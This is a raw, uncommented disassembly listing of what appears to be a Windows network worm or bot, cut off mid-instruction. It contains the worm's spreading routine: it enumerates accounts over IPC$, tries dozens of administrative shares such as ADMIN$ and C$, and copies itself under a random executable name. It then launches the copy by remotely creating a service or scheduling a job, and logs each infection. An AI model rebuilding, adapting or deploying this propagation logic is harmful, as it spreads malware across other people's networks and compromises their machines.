sub_4128D4+185j lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_60E0] push esi push eax push dword ptr [ebp+var_C+4] call dword_42F054 ; ReadFile push ebx call sub_4241D4 push eax call sub_4220EF push 14h lea eax, [ebp+var_74] push 41h push eax call sub_4221F0 push 1Ch lea eax, [ebp+var_34] push 41h push eax call sub_4221F0 add esp, 20h call sub_4220FC mov esi, [ebp+arg_D0] mov [ebp+var_74], eax mov dword ptr [ebp+var_6C+4], edi mov dword ptr [ebp+var_6C], ebx lea esi, [esi+esi*4] mov [ebp+var_70], edi shl esi, 2 mov word ptr [ebp+var_64], bx mov [ebp+var_2C], ebx cmp byte_43C7F8[esi], bl jz short loc_412AE5 push 4 mov [ebp+var_28], edi mov [ebp+var_30], edi push offset dword_455610 jmp short loc_412AF5 ; --------------------------------------------------------------------------- loc_412AE5: ; CODE XREF: sub_4128D4+200j push 2 pop eax push 4 mov [ebp+var_28], eax mov [ebp+var_30], eax push offset loc_43C83C loc_412AF5: ; CODE XREF: sub_4128D4+20Fj lea eax, [ebp+var_24] push eax call sub_4223F0 add esp, 0Ch call sub_4220FC mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_34], edx call sub_4220FC cdq idiv edi mov eax, dword_43C7EC[esi] mov [ebp+var_1C], ebx push eax mov [ebp+arg_D0], eax inc edx mov [ebp+var_20], edx call sub_422F79 mov edi, eax pop ecx cmp edi, ebx jnz short loc_412B4A loc_412B3C: ; CODE XREF: sub_4128D4+192j push dword ptr [ebp+var_C+4] call dword_42F038 ; CloseHandle jmp loc_412985 ; --------------------------------------------------------------------------- loc_412B4A: ; CODE XREF: sub_4128D4+266j mov eax, [ebp+arg_D0] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_4221F0 mov eax, [ebp+arg_D0] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_4221F0 mov eax, dword_43C7F4[esi] push 7 add eax, edi push offset dword_43C7E0 push eax mov [ebp+var_4], eax call sub_4223F0 push dword_43C814 mov eax, [ebp+var_4] add eax, 7 push offset dword_432980 push eax call sub_4223F0 mov eax, dword_43C7F0[esi] add esp, 30h mov [ebp+var_4], eax add eax, edi cmp byte_43C7F8[esi], bl jz short loc_412C02 push 4 push offset dword_45560C push eax call sub_4223F0 add [ebp+var_4], 0Ch mov esi, offset dword_43C810 mov eax, [ebp+var_4] push 4 add eax, edi push esi push eax call sub_4223F0 mov eax, [ebp+var_4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+var_4], eax call sub_4223F0 mov eax, [ebp+var_4] push 4 add eax, 0Ch push esi push eax call sub_4223F0 add esp, 30h jmp short loc_412C28 ; --------------------------------------------------------------------------- loc_412C02: ; CODE XREF: sub_4128D4+2E1j mov [ebp+var_4], eax mov dword ptr [ebp+var_C], 10h mov esi, offset dword_43C810 loc_412C11: ; CODE XREF: sub_4128D4+352j push 4 push esi push [ebp+var_4] call sub_4223F0 add [ebp+var_4], 4 add esp, 0Ch dec dword ptr [ebp+var_C] jnz short loc_412C11 loc_412C28: ; CODE XREF: sub_4128D4+32Cj mov eax, [ebp+arg_D0] add eax, 42h push eax call sub_422F79 mov esi, eax mov dword ptr [esp+8+var_C+4], 7D0h mov dword ptr [ebp+var_C], esi call dword_42F15C ; Sleep cmp esi, ebx jnz short loc_412C62 push dword ptr [ebp+var_C+4] call dword_42F038 ; CloseHandle push edi call sub_4230B3 pop ecx jmp loc_412985 ; --------------------------------------------------------------------------- loc_412C62: ; CODE XREF: sub_4128D4+377j mov eax, [ebp+arg_D0] add eax, 42h push eax push ebx ; double push esi call sub_4221F0 lea eax, [ebp+var_74] push 14h push eax push esi call sub_4223F0 mov eax, [ebp+arg_D0] mov dword ptr [ebp+var_14+4], ebx mov dword ptr [ebp+var_14], eax add esp, 10h fild [ebp+var_14] fmul flt_42F31C fstp [esp+0Ch+var_C] call sub_4242B0 call sub_4234BC push [ebp+arg_D0] mov [esi+1Ch], eax mov [esi+14h], eax lea eax, [esi+20h] push edi push eax mov [esi+18h], ebx call sub_4223F0 mov eax, [ebp+arg_D0] add esp, 14h add eax, 20h test al, 3 mov [ebp+var_4], eax jz short loc_412CD8 loc_412CD0: ; CODE XREF: sub_4128D4+3FFj inc eax test al, 3 jnz short loc_412CD0 mov [ebp+var_4], eax loc_412CD8: ; CODE XREF: sub_4128D4+3FAj lea ecx, [ebp+var_34] push 1Ch add eax, esi push ecx push eax call sub_4223F0 add [ebp+var_4], 1Ch push edi call sub_4230B3 push 18h lea eax, [ebp+var_4C] push ebx push eax call sub_4221F0 push 14h lea eax, [ebp+var_60] push ebx push eax mov [ebp+var_4C], 5 mov [ebp+var_4B], bl mov [ebp+var_4A], bl mov [ebp+var_49], 3 mov [ebp+var_48], 10h mov [ebp+var_42], bx mov [ebp+var_40], ebx mov [ebp+var_38], bx mov [ebp+var_36], 1Fh call sub_4221F0 add esp, 28h push ebx push ebx push 1 push ebx call dword_42F094 ; CreateEventA mov [ebp+var_50], eax mov byte ptr [ebp+arg_D0+3], bl mov dword ptr [ebp+var_14+4], ebx loc_412D48: ; CODE XREF: sub_4128D4+53Aj cmp dword ptr [ebp+var_14+4], 2 jge loc_412E3A inc dword ptr [ebp+var_14+4] push 7D0h call dword_42F15C ; Sleep push 1 push 10B8h push [ebp+var_4] push esi lea esi, [ebp+var_4C] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp+var_C+4] rep movsd call sub_4127E6 add esp, 2Ch test al, al jz loc_412E37 cmp [ebp+var_50], ebx jz short loc_412E05 lea eax, [ebp+var_60] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_60E0] push 2000h push eax push dword ptr [ebp+var_C+4] call dword_42F054 ; ReadFile test eax, eax jnz short loc_412DC2 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_412985 loc_412DC2: ; CODE XREF: sub_4128D4+4DBj push 3E8h push [ebp+var_50] call dword_42F064 ; WaitForSingleObject cmp eax, 102h jnz short loc_412E05 movzx eax, word_439014 push eax lea esi, [ebp+arg_0] sub esp, 0D0h mov byte ptr [ebp+arg_D0+3], 1 push 34h pop ecx mov edi, esp rep movsd call sub_401160 add esp, 0D4h test eax, eax jnz short loc_412E16 loc_412E05: ; CODE XREF: sub_4128D4+4BAj ; sub_4128D4+501j cmp byte ptr [ebp+arg_D0+3], bl mov esi, dword ptr [ebp+var_C] jz loc_412D48 jmp short loc_412E3A ; --------------------------------------------------------------------------- loc_412E16: ; CODE XREF: sub_4128D4+52Fj push 7D0h call dword_42F15C ; Sleep mov eax, [ebp+arg_B8] lea eax, [eax+eax*8] lea eax, ds:432090h[eax*8] inc dword ptr [eax] mov al, 1 jmp short loc_412E5F ; --------------------------------------------------------------------------- loc_412E37: ; CODE XREF: sub_4128D4+4B1j mov esi, dword ptr [ebp+var_C] loc_412E3A: ; CODE XREF: sub_4128D4+478j ; sub_4128D4+540j push dword ptr [ebp+var_C+4] mov edi, dword_42F038 call edi ; dword_42F038 push esi call sub_4230B3 cmp [ebp+var_50], ebx pop ecx jz short loc_412E56 push [ebp+var_50] call edi ; dword_42F038 loc_412E56: ; CODE XREF: sub_4128D4+57Bj cmp byte ptr [ebp+arg_D0+3], bl setnz al loc_412E5F: ; CODE XREF: sub_4128D4+B3j ; sub_4128D4+561j pop edi pop esi pop ebx leave retn sub_4128D4 endp ; --------------------------------------------------------------------------- push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [esp+18h] push ebx push eax call sub_401AB3 pop ecx cmp eax, ebx pop ecx jnz short loc_412E7F loc_412E7B: ; CODE XREF: .text:00412E82j push 0 jmp short loc_412E8A ; --------------------------------------------------------------------------- loc_412E7F: ; CODE XREF: .text:00412E79j cmp eax, 2 jz short loc_412E7B cmp eax, 3 jnz short loc_412EB1 push ebx loc_412E8A: ; CODE XREF: .text:00412E7Dj sub esp, 0D0h lea esi, [esp+0ECh] push 34h pop ecx mov edi, esp rep movsd call sub_4128D4 add esp, 0D4h test al, al jz short loc_412EB1 mov eax, ebx jmp short loc_412EB3 ; --------------------------------------------------------------------------- loc_412EB1: ; CODE XREF: .text:00412E87j ; .text:00412EABj xor eax, eax loc_412EB3: ; CODE XREF: .text:00412EAFj pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412EB7 proc near ; CODE XREF: sub_4130E5+3DAp var_208 = byte ptr -208h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 208h push ebx push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push [ebp+arg_4] call dword_454304 ; OpenSCManagerA xor esi, esi mov [ebp+var_4], eax cmp eax, esi jz loc_41301D push [ebp+arg_10] lea eax, [ebp+var_208] push [ebp+arg_0] push [ebp+arg_4] push offset aSSS_1 ; "%s\\%s\\%s" push eax call sub_422063 add esp, 14h call sub_4220FC push 9 pop edi cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq idiv edi lea eax, [ebp+var_104] push edx push offset aDDDDD ; "%d%d%d%d%d" push eax call sub_422063 add esp, 1Ch loc_412F4C: ; DATA XREF: .text:off_442260o lea eax, [ebp+var_208] mov edi, 0F01FFh push esi push esi push esi push esi push esi push eax push 1 push 3 push 20h lea eax, [ebp+var_104] push edi push eax lea eax, [ebp+var_104] push eax push [ebp+var_4] call dword_45437C ; CreateServiceA mov ebx, eax cmp ebx, esi jnz short loc_412F89 push [ebp+var_4] jmp loc_413017 ; --------------------------------------------------------------------------- loc_412F89: ; CODE XREF: sub_412EB7+C8j push esi push esi push ebx call dword_4541DC ; StartServiceA test eax, eax jz short loc_412FBD push 1F4h call dword_42F15C ; Sleep push ebx call dword_454250 ; DeleteService push [ebp+var_4] call dword_4541F0 ; CloseServiceHandle push ebx loc_412FB2: ; CODE XREF: sub_412EB7+14Dj call dword_4541F0 ; CloseServiceHandle xor eax, eax inc eax jmp short loc_41301F ; --------------------------------------------------------------------------- loc_412FBD: ; CODE XREF: sub_412EB7+DDj call dword_42F068 ; RtlGetLastWin32Error cmp eax, 41Dh jnz short loc_413006 push edi push offset dword_439068 push [ebp+var_4] call dword_4541D4 ; OpenServiceA mov edi, eax cmp edi, esi jz short loc_413006 push esi push esi push edi call dword_4541DC ; StartServiceA test eax, eax jz short loc_413006 push ebx call dword_454250 ; DeleteService push [ebp+var_4] call dword_4541F0 ; CloseServiceHandle push ebx call dword_4541F0 ; CloseServiceHandle push edi jmp short loc_412FB2 ; --------------------------------------------------------------------------- loc_413006: ; CODE XREF: sub_412EB7+111j ; sub_412EB7+126j ... push ebx call dword_454250 ; DeleteService push [ebp+var_4] call dword_4541F0 ; CloseServiceHandle push ebx loc_413017: ; CODE XREF: sub_412EB7+CDj call dword_4541F0 ; CloseServiceHandle loc_41301D: ; CODE XREF: sub_412EB7+26j xor eax, eax loc_41301F: ; CODE XREF: sub_412EB7+104j pop edi pop esi pop ebx leave retn sub_412EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413024 proc near ; CODE XREF: sub_4130E5+4A7p var_3AC = byte ptr -3ACh var_1A4 = byte ptr -1A4h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3ACh push ebx push edi lea eax, [ebp+var_1A4] push 190h mov edi, dword_42F098 push eax push 0FFFFFFFFh xor ebx, ebx push [ebp+arg_0] mov [ebp+var_4], ebx push ebx push ebx call edi ; dword_42F098 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_1A4] push eax call dword_45422C test eax, eax jnz short loc_4130D6 mov ecx, [ebp+var_4] cmp ecx, ebx jz short loc_4130D6 mov eax, [ecx] push esi push 3Ch xor edx, edx pop esi div esi xor edx, edx push 10h push ebx sub eax, [ecx+18h] mov ecx, 5A0h inc eax inc eax div ecx lea eax, [ebp+var_14] push eax mov esi, edx call sub_4221F0 imul esi, 0EA60h add esp, 0Ch lea eax, [ebp+var_3AC] mov [ebp+var_14], esi push 208h push eax push 0FFFFFFFFh push [ebp+arg_4] push ebx push ebx call edi ; dword_42F098 lea eax, [ebp+var_3AC] mov [ebp+var_8], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1A4] push eax call dword_454280 test eax, eax pop esi jnz short loc_4130D6 inc ebx loc_4130D6: ; CODE XREF: sub_413024+3Ej ; sub_413024+45j ... push [ebp+var_4] call dword_4543A0 mov eax, ebx pop edi pop ebx leave retn sub_413024 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4130E5 proc near ; CODE XREF: sub_4135E8+34p var_404 = byte ptr -404h var_300 = byte ptr -300h var_200 = byte ptr -200h var_FC = byte ptr -0FCh var_F8 = dword ptr -0F8h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_CC = dword ptr 0D4h arg_D4 = dword ptr 0DCh arg_DC = dword ptr 0E4h push ebp mov ebp, esp sub esp, 404h push ebx push esi push edi call sub_41F76B xor ebx, ebx push 20h lea eax, [ebp+var_FC] push ebx push eax call sub_4221F0 mov eax, [ebp+arg_8] add esp, 0Ch mov [ebp+var_E8], eax lea eax, [ebp+var_FC] push ebx mov [ebp+var_F8], 1 push [ebp+arg_0] mov [ebp+var_EC], ebx mov [ebp+var_E0], ebx push [ebp+arg_4] push eax call dword_4543BC test eax, eax jnz loc_4135D4 mov [ebp+var_DC], offset byte_44D6A4 mov [ebp+var_D8], offset aAdmin_1 ; "ADMIN$" mov [ebp+var_D4], offset aIpc ; "IPC$" mov [ebp+var_D0], offset aPrint ; "PRINT$" mov [ebp+var_CC], offset aS_7 ; "S$" mov [ebp+var_C8], offset aNetlogon ; "NETLOGON$" mov [ebp+var_C4], offset aB_1 ; "B$" mov [ebp+var_C0], offset aC_1 ; "C$" mov [ebp+var_BC], offset aD_0 ; "D$" mov [ebp+var_B8], offset aE_1 ; "E$" mov [ebp+var_B4], offset aF_0 ; "F$" mov [ebp+var_B0], offset aG_0 ; "G$" mov [ebp+var_AC], offset asc_43D800 ; "H$" mov [ebp+var_A8], offset aI_2 ; "I$" mov [ebp+var_A4], offset aJ_0 ; "J$" mov [ebp+var_A0], offset aK_1 ; "K$" mov [ebp+var_9C], offset asc_43D7F0 ; "L$" mov [ebp+var_98], offset aM_3 ; "M$" mov [ebp+var_94], offset aN_1 ; "N$" mov [ebp+var_90], offset aO_1 ; "O$" mov [ebp+var_8C], offset aP_4 ; "P$" mov [ebp+var_88], offset aQ_1 ; "Q$" mov [ebp+var_84], offset aR_0 ; "R$" mov [ebp+var_80], offset aT_0 ; "T$" mov [ebp+var_7C], offset aU_1 ; "U$" mov [ebp+var_78], offset aV_1 ; "V$" mov [ebp+var_74], offset aW_0 ; "W$" mov [ebp+var_70], offset asc_43D7C8 ; "X$" mov [ebp+var_6C], offset aY_0 ; "Y$" mov [ebp+var_68], offset aZ_4 ; "Z$" mov [ebp+var_64], offset aCWindows ; "C:\\WINDOWS$" mov [ebp+var_60], offset aGuest ; "GUEST$" mov [ebp+var_5C], offset aCWinnt ; "C:\\WINNT$" mov [ebp+var_58], offset aCWinntSystem32 ; "C:\\WINNT\\system32$" mov [ebp+var_54], offset aCWindowsSystem ; "C:\\WINDOWS\\system32$" mov [ebp+var_50], offset aDWinnt ; "D:\\WINNT$" mov [ebp+var_4C], offset aDWindows ; "D:\\WINDOWS$" mov [ebp+var_48], offset aSeclogon ; "SECLOGON$" mov [ebp+var_44], offset aSystem_1 ; "SYSTEM$" mov [ebp+var_40], offset aWindows_0 ; "WINDOWS$" mov [ebp+var_3C], offset aWinnt_0 ; "WINNT$" mov [ebp+var_38], offset aSql_0 ; "SQL$" mov [ebp+var_34], offset aMysql_0 ; "MYSQL$" mov [ebp+var_30], offset aMssql_0 ; "MSSQL$" mov [ebp+var_2C], offset aIis ; "IIS$" mov [ebp+var_28], offset aDrivec ; "drivec$" mov [ebp+var_24], offset aFtp_0 ; "FTP$" mov [ebp+var_20], offset aDownloads ; "DOWNLOADS$" mov [ebp+var_1C], offset aSysvol ; "SYSVOL$" mov [ebp+var_18], offset aLpt1 ; "LPT1$" mov [ebp+var_14], offset aSita ; "SITA$" mov [ebp+var_10], offset aClients ; "clients$" mov [ebp+var_C], ebx call sub_4220FC push 9 pop edi cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx push offset loc_43903C mov esi, offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" lea eax, [ebp+var_300] push esi push eax call sub_422063 add esp, 20h lea eax, [ebp+var_404] push 104h push eax push ebx call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA mov [ebp+var_4], ebx mov ebx, offset aSSS_1 ; "%s\\%s\\%s" loc_41336F: ; CODE XREF: sub_4130E5+3ACj mov eax, [ebp+var_4] lea ecx, [ebp+var_300] push ecx mov eax, [ebp+eax*4+var_DC] push eax lea eax, [ebp+var_200] push [ebp+arg_8] push ebx push eax call sub_422063 add esp, 14h lea eax, [ebp+var_200] push eax call dword_42F0A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4133B8 lea eax, [ebp+var_200] push 80h push eax call dword_42F08C ; SetFileAttributesA loc_4133B8: ; CODE XREF: sub_4130E5+2BFj lea eax, [ebp+var_200] push 0 push eax lea eax, [ebp+var_404] push eax call dword_42F09C ; CopyFileA test eax, eax mov [ebp+var_8], eax jnz loc_4134A1 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 5 jnz loc_41348A lea eax, [ebp+var_200] push 0 push eax call sub_424450 pop ecx test eax, eax pop ecx jnz loc_41348A call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx lea eax, [ebp+var_300] push edx push offset loc_43903C push esi push eax call sub_422063 lea eax, [ebp+var_300] push eax mov eax, [ebp+var_4] push [ebp+eax*4+var_DC] lea eax, [ebp+var_200] push [ebp+arg_8] push ebx push eax call sub_422063 add esp, 34h lea eax, [ebp+var_200] push 0 push eax lea eax, [ebp+var_404] push eax call dword_42F09C ; CopyFileA test eax, eax mov [ebp+var_8], eax jnz short loc_4134A1 loc_41348A: ; CODE XREF: sub_4130E5+2FDj ; sub_4130E5+315j inc [ebp+var_4] cmp [ebp+var_4], 35h jb loc_41336F cmp [ebp+var_8], 0 jz loc_4135D2 loc_4134A1: ; CODE XREF: sub_4130E5+2EEj ; sub_4130E5+3A3j mov eax, [ebp+var_4] lea ecx, [ebp+var_300] push ecx push [ebp+arg_4] mov eax, [ebp+eax*4+var_DC] mov [ebp+var_4], eax push [ebp+arg_0] push [ebp+arg_8] push eax call sub_412EB7 add esp, 14h test eax, eax jz loc_413582 mov ebx, offset aSSSSSSCreateds ; "%s %s: -> [%s\\%s, %s/%s] (CreatedServic"... loc_4134D4: ; CODE XREF: sub_4130E5+4B7j cmp [ebp+arg_DC], 0 mov esi, [ebp+arg_CC] mov edi, offset aRaMr15qabm1 ; "RA/Mr15qAbm1" jz short loc_413528 push offset byte_44D6A4 push [ebp+arg_4] call sub_422760 pop ecx test eax, eax pop ecx mov eax, offset aBlank ; "(Blank)" jz short loc_413503 mov eax, [ebp+arg_4] loc_413503: ; CODE XREF: sub_4130E5+419j push eax lea eax, [esi+esi*8] push [ebp+arg_0] lea eax, ds:432069h[eax*8] push [ebp+var_4] push [ebp+arg_8] push eax push edi push ebx push [ebp+arg_C] push [ebp+arg_10] call sub_4104F6 add esp, 24h loc_413528: ; CODE XREF: sub_4130E5+401j cmp [ebp+arg_D4], 0 jz short loc_413571 push offset byte_44D6A4 push [ebp+arg_4] call sub_422760 pop ecx test eax, eax pop ecx mov eax, offset aBlank ; "(Blank)" jz short loc_41354C mov eax, [ebp+arg_4] loc_41354C: ; CODE XREF: sub_4130E5+462j push eax lea eax, [esi+esi*8] push [ebp+arg_0] lea eax, ds:432069h[eax*8] push [ebp+var_4] push [ebp+arg_8] push eax push edi push ebx push [ebp+arg_C] push [ebp+arg_10] call sub_410491 add esp, 24h loc_413571: ; CODE XREF: sub_4130E5+44Aj lea eax, [esi+esi*8] xor ebx, ebx lea eax, ds:432090h[eax*8] inc dword ptr [eax] inc ebx jmp short loc_4135D4 ; --------------------------------------------------------------------------- loc_413582: ; CODE XREF: sub_4130E5+3E4j lea eax, [ebp+var_300] push eax push [ebp+arg_8] call sub_413024 pop ecx test eax, eax pop ecx jz short loc_4135A1 mov ebx, offset aSSSSSSNetsched ; "%s %s: -> [%s\\%s, %s/%s] (NetSchedJobAd"... jmp loc_4134D4 ; --------------------------------------------------------------------------- loc_4135A1: ; CODE XREF: sub_4130E5+4B0j lea eax, [ebp+var_200] push eax call dword_42F0A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4135C5 lea eax, [ebp+var_200] push 80h push eax call dword_42F08C ; SetFileAttributesA loc_4135C5: ; CODE XREF: sub_4130E5+4CCj lea eax, [ebp+var_200] push eax call dword_42F088 ; DeleteFileA loc_4135D2: ; CODE XREF: sub_4130E5+3B6j xor ebx, ebx loc_4135D4: ; CODE XREF: sub_4130E5+5Aj ; sub_4130E5+49Bj push 1 push 1 push [ebp+arg_8] call dword_454374 pop edi mov eax, ebx pop esi pop ebx leave retn sub_4130E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135E8 proc near ; CODE XREF: .text:00413779p ; .text:004137F6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp cmp off_43C950, 0 push ebx push esi push edi jz short loc_413636 mov eax, offset off_43C950 mov ebx, eax loc_4135FE: ; CODE XREF: sub_4135E8+4Cj sub esp, 0D0h lea esi, [ebp+arg_10] push 34h pop ecx mov edi, esp push [ebp+arg_C] rep movsd push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] push [ebp+arg_0] call sub_4130E5 add esp, 0E4h cmp eax, 1 jz short loc_41363D add ebx, 4 mov eax, ebx cmp dword ptr [ebx], 0 jnz short loc_4135FE loc_413636: ; CODE XREF: sub_4135E8+Dj xor eax, eax loc_413638: ; CODE XREF: sub_4135E8+58j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41363D: ; CODE XREF: sub_4135E8+42j xor eax, eax inc eax jmp short loc_413638 sub_4135E8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 62Ch push ebx push esi lea eax, [ebp+10h] push edi push eax lea eax, [ebp-30h] xor ebx, ebx push offset aS_8 ; "\\\\%s" push eax mov [ebp-4], ebx mov [ebp-14h], ebx mov [ebp-1Ch], ebx mov [ebp-18h], ebx call sub_422063 add esp, 0Ch lea eax, [ebp-62Ch] push 3E8h push eax lea eax, [ebp-30h] push 0FFFFFFFFh push eax push ebx push ebx call dword_42F098 ; MultiByteToWideChar lea eax, [ebp-30h] mov [ebp-40h], ebx push eax lea eax, [ebp-118h] push offset aSIpc ; "%s\\IPC$" push eax mov [ebp-34h], ebx mov [ebp-4Ch], ebx call sub_422063 lea eax, [ebp-118h] add esp, 0Ch mov [ebp-3Ch], eax mov eax, offset byte_44D6A4 push ebx push eax push eax lea eax, [ebp-50h] push eax call dword_4543BC test eax, eax jz short loc_4136E2 push 1 lea eax, [ebp-118h] push ebx push eax call dword_454374 xor eax, eax jmp loc_413816 ; --------------------------------------------------------------------------- loc_4136E2: ; CODE XREF: .text:004136C9j ; .text:004137B0j lea eax, [ebp-18h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-4] push 0FFFFFFFFh push eax push 2 lea eax, [ebp-62Ch] push ebx push eax call dword_45425C mov [ebp-0Ch], eax push 1 lea eax, [ebp-118h] push ebx push eax call dword_454374 cmp [ebp-0Ch], ebx jz short loc_413725 cmp dword ptr [ebp-0Ch], 0EAh jnz short loc_413798 loc_413725: ; CODE XREF: .text:0041371Aj mov eax, [ebp-4] cmp eax, ebx mov [ebp-10h], eax jz short loc_4137A9 cmp [ebp-14h], ebx mov [ebp-8], ebx jbe short loc_413798 loc_413737: ; CODE XREF: .text:00413796j mov eax, [ebp-10h] cmp eax, ebx jz short loc_413798 push ebx push ebx lea ecx, [ebp-244h] push 12Ch push ecx push 0FFFFFFFFh push dword ptr [eax] push ebx push ebx call dword_42F0A4 ; WideCharToMultiByte sub esp, 0D0h lea eax, [ebp-30h] lea esi, [ebp+10h] push 34h pop ecx mov edi, esp push dword ptr [ebp+0Ch] rep movsd push dword ptr [ebp+8] push eax lea eax, [ebp-244h] push eax call sub_4135E8 add esp, 0E0h cmp eax, 1 jz short loc_413798 add dword ptr [ebp-10h], 4 inc dword ptr [ebp-8] mov eax, [ebp-8] cmp eax, [ebp-14h] jb short loc_413737 loc_413798: ; CODE XREF: .text:00413723j ; .text:00413735j ... cmp [ebp-4], ebx jz short loc_4137A9 push dword ptr [ebp-4] call dword_4543A0 mov [ebp-4], ebx loc_4137A9: ; CODE XREF: .text:0041372Dj ; .text:0041379Bj cmp dword ptr [ebp-0Ch], 0EAh jz loc_4136E2 cmp [ebp-4], ebx jz short loc_4137C4 push dword ptr [ebp-4] call dword_4543A0 loc_4137C4: ; CODE XREF: .text:004137B9j cmp dword ptr [ebp-0Ch], 5 jnz short loc_413813 cmp off_43C880, ebx jz short loc_413813 mov eax, offset off_43C880 mov [ebp-8], eax loc_4137DA: ; CODE XREF: .text:00413811j sub esp, 0D0h lea esi, [ebp+10h] push 34h pop ecx mov edi, esp push dword ptr [ebp+0Ch] rep movsd push dword ptr [ebp+8] lea ecx, [ebp-30h] push ecx push dword ptr [eax] call sub_4135E8 add esp, 0E0h cmp eax, 1 jz short loc_413813 mov eax, [ebp-8] add eax, 4 mov [ebp-8], eax cmp [eax], ebx jnz short loc_4137DA loc_413813: ; CODE XREF: .text:004137C8j ; .text:004137D0j ... xor eax, eax inc eax loc_413816: ; CODE XREF: .text:004136DDj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41381B: ; DATA XREF: .text:00432010o jmp $+5 mov eax, dword_43D884 add eax, 6 mov dword_455A9C, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41382E proc near ; CODE XREF: sub_41382E+D0p ; sub_41391C+666p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_413842 or [ebp+arg_7], 1 jmp short loc_413846 ; --------------------------------------------------------------------------- loc_413842: ; CODE XREF: sub_41382E+Cj and [ebp+arg_7], 0FEh loc_413846: ; CODE XREF: sub_41382E+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_41386A or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_41387C ; --------------------------------------------------------------------------- loc_41386A: ; CODE XREF: sub_41382E+26j add eax, 